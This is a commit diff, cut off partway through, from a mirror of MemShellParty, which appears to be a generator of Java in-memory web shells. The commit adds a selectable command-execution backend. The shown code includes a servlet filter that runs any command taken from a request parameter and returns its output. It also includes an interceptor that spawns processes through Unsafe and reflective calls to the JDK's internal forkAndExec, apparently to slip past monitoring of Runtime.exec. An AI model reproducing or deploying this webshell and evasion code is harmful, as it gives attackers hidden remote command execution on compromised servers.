mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support custom command implementation
This commit is contained in:
+1
-1
@@ -48,7 +48,7 @@ dependencies {
|
||||
implementation('org.springframework.boot:spring-boot-starter-web') {
|
||||
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
||||
}
|
||||
implementation 'org.apache.commons:commons-lang3:3.+'
|
||||
implementation 'org.apache.commons:commons-lang3:3.17.0'
|
||||
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
||||
compileOnly 'org.projectlombok:lombok'
|
||||
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
@@ -61,8 +62,11 @@ public class ConfigController {
|
||||
return coreMap;
|
||||
}
|
||||
|
||||
@GetMapping("/command/encryptors")
|
||||
public List<CommandConfig.Encryptor> getCommandEncryptors() {
|
||||
return Arrays.stream(CommandConfig.Encryptor.values()).toList();
|
||||
@GetMapping("/command/configs")
|
||||
public CommandConfigVO getCommandConfigs() {
|
||||
CommandConfigVO commandConfigVO = new CommandConfigVO();
|
||||
commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
|
||||
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
|
||||
return commandConfigVO;
|
||||
}
|
||||
}
|
||||
@@ -29,6 +29,7 @@ public class GenerateRequest {
|
||||
private String headerValue;
|
||||
private String shellClassBase64;
|
||||
private String encryptor;
|
||||
private String implementationClass;
|
||||
}
|
||||
|
||||
public ShellToolConfig parseShellToolConfig() {
|
||||
@@ -50,6 +51,7 @@ public class GenerateRequest {
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||
.build();
|
||||
case Suo5 -> Suo5Config.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
package com.reajason.javaweb.boot.vo;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import lombok.Data;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/25
|
||||
*/
|
||||
@Data
|
||||
public class CommandConfigVO {
|
||||
private List<CommandConfig.Encryptor> encryptors;
|
||||
private List<CommandConfig.ImplementationClass> implementationClasses;
|
||||
}
|
||||
@@ -20,6 +20,21 @@ public class CommandConfig extends ShellToolConfig {
|
||||
@Builder.Default
|
||||
private Encryptor encryptor = Encryptor.RAW;
|
||||
|
||||
@Builder.Default
|
||||
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
||||
|
||||
|
||||
public enum ImplementationClass {
|
||||
RuntimeExec, ForkAndExec;
|
||||
|
||||
public static ImplementationClass fromString(String encryptor) {
|
||||
if (encryptor != null && encryptor.equals("ForkAndExec")) {
|
||||
return ForkAndExec;
|
||||
}
|
||||
return RuntimeExec;
|
||||
}
|
||||
}
|
||||
|
||||
public enum Encryptor {
|
||||
RAW, DOUBLE_BASE64;
|
||||
|
||||
|
||||
+10
-4
@@ -1,8 +1,10 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.*;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
@@ -13,10 +15,8 @@ import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FixedValue;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.util.Collections;
|
||||
import java.util.HashMap;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
@@ -68,6 +68,12 @@ public class CommandGenerator {
|
||||
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||
}
|
||||
|
||||
if (CommandConfig.ImplementationClass.RuntimeExec.equals(commandConfig.getImplementationClass())) {
|
||||
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
|
||||
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(commandConfig.getImplementationClass())) {
|
||||
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
|
||||
}
|
||||
|
||||
return builder;
|
||||
}
|
||||
|
||||
|
||||
+107
@@ -0,0 +1,107 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/25
|
||||
*/
|
||||
public class ForkAndExecInterceptor {
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
||||
try {
|
||||
String[] strs = cmd.split("\\s+");
|
||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
||||
theUnsafeField.setAccessible(true);
|
||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
||||
|
||||
Class<?> processClass = null;
|
||||
|
||||
try {
|
||||
processClass = Class.forName("java.lang.UNIXProcess");
|
||||
} catch (ClassNotFoundException e) {
|
||||
processClass = Class.forName("java.lang.ProcessImpl");
|
||||
}
|
||||
Object processObject = unsafe.allocateInstance(processClass);
|
||||
|
||||
byte[][] args = new byte[strs.length - 1][];
|
||||
int size = args.length;
|
||||
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
args[i] = strs[i + 1].getBytes();
|
||||
size += args[i].length;
|
||||
}
|
||||
|
||||
byte[] argBlock = new byte[size];
|
||||
int i = 0;
|
||||
|
||||
for (byte[] arg : args) {
|
||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||
i += arg.length + 1;
|
||||
}
|
||||
|
||||
int[] envc = new int[1];
|
||||
int[] std_fds = new int[]{-1, -1, -1};
|
||||
byte[] bytes = strs[0].getBytes();
|
||||
byte[] result = new byte[bytes.length + 1];
|
||||
System.arraycopy(bytes, 0,
|
||||
result, 0,
|
||||
bytes.length);
|
||||
result[result.length - 1] = (byte) 0;
|
||||
try {
|
||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||
helperpathField.setAccessible(true);
|
||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||
|
||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||
launchMechanismField.setAccessible(true);
|
||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||
int mode = 0;
|
||||
try {
|
||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
||||
value.setAccessible(true);
|
||||
mode = (Integer) value.get(launchMechanismObject);
|
||||
} catch (NoSuchFieldException e) {
|
||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||
mode = ordinal + 1;
|
||||
}
|
||||
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK7
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
}
|
||||
|
||||
try {
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds);
|
||||
} catch (NoSuchMethodException e) {
|
||||
// JDK11
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||
}
|
||||
|
||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||
getInputStreamMethod.setAccessible(true);
|
||||
returnValue = ((InputStream) getInputStreamMethod.invoke(processObject));
|
||||
} catch (Throwable e) {
|
||||
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||
}
|
||||
}
|
||||
}
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/25
|
||||
*/
|
||||
public class RuntimeExecInterceptor {
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
||||
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||
}
|
||||
}
|
||||
-173
@@ -1,173 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||
import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream;
|
||||
import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
|
||||
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import javax.servlet.FilterChain;
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import javax.servlet.ServletRequest;
|
||||
import javax.servlet.ServletResponse;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Objects;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
import static org.mockito.Mockito.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/30
|
||||
*/
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
public class CommandFilterChainASMTest {
|
||||
|
||||
@Mock
|
||||
HttpServletRequest mockRequest;
|
||||
|
||||
@Mock
|
||||
HttpServletResponse mockResponse;
|
||||
|
||||
Object instance;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static class CustomMethodVisitor extends MethodVisitor {
|
||||
private final Type customEqualsType;
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
|
||||
protected CustomMethodVisitor(MethodVisitor mv, Type[] argTypes) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
Command.paramName = "paramName";
|
||||
className = Command.class.getName();
|
||||
customEqualsType = Type.getObjectType(Command.class.getName().replace('.', '/'));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
loadArgArray();
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
Label ifConditionFalse = new Label();
|
||||
Label skipCatchBlock = new Label();
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(tryStart);
|
||||
String internalClassName = className.replace('.', '/');
|
||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||
mv.visitInsn(Opcodes.SWAP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||
"java/lang/Object",
|
||||
"equals",
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
mv.visitLabel(catchHandler);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
mv.visitLabel(skipCatchBlock);
|
||||
}
|
||||
|
||||
public void loadArgArray() {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
for (int i = 0; i < argumentTypes.length; i++) {
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
push(i);
|
||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||
}
|
||||
}
|
||||
|
||||
public void push(final int value) {
|
||||
if (value >= -1 && value <= 5) {
|
||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||
} else {
|
||||
mv.visitLdcInsn(new Integer(value));
|
||||
}
|
||||
}
|
||||
|
||||
private int getArgIndex(final int arg) {
|
||||
int index = 1;
|
||||
for (int i = 0; i < arg; i++) {
|
||||
index += argumentTypes[i].getSize();
|
||||
}
|
||||
return index;
|
||||
}
|
||||
}
|
||||
|
||||
@BeforeEach
|
||||
@SneakyThrows
|
||||
void setUp() {
|
||||
byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class")));
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
|
||||
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if ("doFilter".equals(name)) {
|
||||
Type[] argTypes = Type.getArgumentTypes(descriptor);
|
||||
return new CustomMethodVisitor(mv, argTypes);
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
|
||||
IOUtils.write(bytes2, new FileOutputStream(new File("godzilla2.class")));
|
||||
Class<?> clazz = ClassUtils.defineClass(bytes2);
|
||||
instance = spy(clazz.newInstance());
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testInvokeParam() {
|
||||
when(mockRequest.getParameter("paramName")).thenReturn("id");
|
||||
ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream();
|
||||
ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput);
|
||||
when(mockResponse.getOutputStream()).thenReturn(servletOutputStream);
|
||||
|
||||
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
|
||||
String output = capturedOutput.toString(StandardCharsets.UTF_8);
|
||||
assertTrue(output.contains("uid="));
|
||||
|
||||
verify(((FilterChainInterface) instance), never()).doFilterInternal();
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testNotParameter() {
|
||||
when(mockRequest.getParameter("paramName")).thenReturn(null);
|
||||
|
||||
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
|
||||
|
||||
verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal();
|
||||
}
|
||||
}
|
||||
-73
@@ -1,73 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.objectweb.asm.*;
|
||||
import org.objectweb.asm.commons.AdviceAdapter;
|
||||
import org.objectweb.asm.commons.Method;
|
||||
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/15
|
||||
*/
|
||||
public class CommandNormalASMTest {
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void test() {
|
||||
byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class")));
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
|
||||
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if ("doFilter".equals(name)) {
|
||||
return new CommandFilterChainAsmMethodVisitor(mv, access, name, descriptor);
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
|
||||
// IOUtils.write(bytes2, new FileOutputStream("test.class"));
|
||||
}
|
||||
|
||||
static class Hello {
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
System.out.println("hello world");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
static class CommandFilterChainAsmMethodVisitor extends AdviceAdapter {
|
||||
private static final Method CUSTOM_EQUALS_CONSTRUCTOR = Method.getMethod("void <init> ()");
|
||||
private static final Method CUSTOM_EQUALS_METHOD = Method.getMethod("boolean equals (java.lang.Object)");
|
||||
private final Type customEqualsType;
|
||||
|
||||
protected CommandFilterChainAsmMethodVisitor(MethodVisitor mv, int access, String name, String descriptor) {
|
||||
super(Opcodes.ASM9, mv, access, name, descriptor);
|
||||
customEqualsType = Type.getObjectType("com.reajason.javaweb.memshell.shelltool.command.CommandNormalASMTest.Hello".replace('.', '/'));
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onMethodEnter() {
|
||||
loadArgArray();
|
||||
newInstance(customEqualsType);
|
||||
dup();
|
||||
invokeConstructor(customEqualsType, CUSTOM_EQUALS_CONSTRUCTOR);
|
||||
swap();
|
||||
invokeVirtual(customEqualsType, CUSTOM_EQUALS_METHOD);
|
||||
Label skipReturnLabel = new Label();
|
||||
mv.visitJumpInsn(IFEQ, skipReturnLabel);
|
||||
mv.visitInsn(RETURN);
|
||||
mark(skipReturnLabel);
|
||||
}
|
||||
}
|
||||
}
|
||||
+6
-109
@@ -1,11 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -14,10 +11,14 @@ import java.lang.reflect.Method;
|
||||
public class Command {
|
||||
public static String paramName;
|
||||
|
||||
public String getParam(String param) {
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String cmd) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
@@ -26,12 +27,7 @@ public class Command {
|
||||
try {
|
||||
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
|
||||
if (cmd != null) {
|
||||
InputStream inputStream = null;
|
||||
try {
|
||||
inputStream = forkAndExec(cmd);
|
||||
} catch (Throwable e) {
|
||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||
}
|
||||
InputStream inputStream = getInputStream(cmd);
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
@@ -46,105 +42,6 @@ public class Command {
|
||||
return false;
|
||||
}
|
||||
|
||||
public InputStream getInputStream(String cmd) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
||||
String[] strs = cmd.split("\\s+");
|
||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
||||
theUnsafeField.setAccessible(true);
|
||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
||||
|
||||
Class<?> processClass = null;
|
||||
|
||||
try {
|
||||
processClass = Class.forName("java.lang.UNIXProcess");
|
||||
} catch (ClassNotFoundException e) {
|
||||
processClass = Class.forName("java.lang.ProcessImpl");
|
||||
}
|
||||
Object processObject = unsafe.allocateInstance(processClass);
|
||||
|
||||
byte[][] args = new byte[strs.length - 1][];
|
||||
int size = args.length;
|
||||
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
args[i] = strs[i + 1].getBytes();
|
||||
size += args[i].length;
|
||||
}
|
||||
|
||||
byte[] argBlock = new byte[size];
|
||||
int i = 0;
|
||||
|
||||
for (byte[] arg : args) {
|
||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||
i += arg.length + 1;
|
||||
}
|
||||
|
||||
int[] envc = new int[1];
|
||||
int[] std_fds = new int[]{-1, -1, -1};
|
||||
byte[] result = toCString(strs[0]);
|
||||
try {
|
||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||
helperpathField.setAccessible(true);
|
||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||
|
||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||
launchMechanismField.setAccessible(true);
|
||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||
int mode = 0;
|
||||
try {
|
||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
||||
value.setAccessible(true);
|
||||
mode = (Integer) value.get(launchMechanismObject);
|
||||
} catch (NoSuchFieldException e) {
|
||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||
mode = ordinal + 1;
|
||||
}
|
||||
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK7
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
}
|
||||
|
||||
try {
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds);
|
||||
} catch (NoSuchMethodException e) {
|
||||
// JDK11
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||
}
|
||||
|
||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||
getInputStreamMethod.setAccessible(true);
|
||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
||||
}
|
||||
|
||||
private static byte[] toCString(String s) {
|
||||
if (s == null)
|
||||
return null;
|
||||
byte[] bytes = s.getBytes();
|
||||
byte[] result = new byte[bytes.length + 1];
|
||||
System.arraycopy(bytes, 0,
|
||||
result, 0,
|
||||
bytes.length);
|
||||
result[result.length - 1] = (byte) 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
public Object unwrapRequest(Object request) {
|
||||
Object internalRequest = request;
|
||||
while (true) {
|
||||
|
||||
+7
-107
@@ -1,31 +1,31 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandFilter implements Filter {
|
||||
public static String paramName;
|
||||
private static String paramName;
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
public String getParam(String param) {
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String cmd) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||
@@ -33,12 +33,7 @@ public class CommandFilter implements Filter {
|
||||
String cmd = getParam(servletRequest.getParameter(paramName));
|
||||
try {
|
||||
if (cmd != null) {
|
||||
InputStream inputStream = null;
|
||||
try {
|
||||
inputStream = forkAndExec(cmd);
|
||||
} catch (Throwable e) {
|
||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||
}
|
||||
InputStream inputStream = getInputStream(cmd);
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
@@ -53,101 +48,6 @@ public class CommandFilter implements Filter {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
||||
String[] strs = cmd.split("\\s+");
|
||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
||||
theUnsafeField.setAccessible(true);
|
||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
||||
|
||||
Class<?> processClass = null;
|
||||
|
||||
try {
|
||||
processClass = Class.forName("java.lang.UNIXProcess");
|
||||
} catch (ClassNotFoundException e) {
|
||||
processClass = Class.forName("java.lang.ProcessImpl");
|
||||
}
|
||||
Object processObject = unsafe.allocateInstance(processClass);
|
||||
|
||||
byte[][] args = new byte[strs.length - 1][];
|
||||
int size = args.length;
|
||||
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
args[i] = strs[i + 1].getBytes();
|
||||
size += args[i].length;
|
||||
}
|
||||
|
||||
byte[] argBlock = new byte[size];
|
||||
int i = 0;
|
||||
|
||||
for (byte[] arg : args) {
|
||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||
i += arg.length + 1;
|
||||
}
|
||||
|
||||
int[] envc = new int[1];
|
||||
int[] std_fds = new int[]{-1, -1, -1};
|
||||
byte[] result = toCString(strs[0]);
|
||||
try {
|
||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||
helperpathField.setAccessible(true);
|
||||
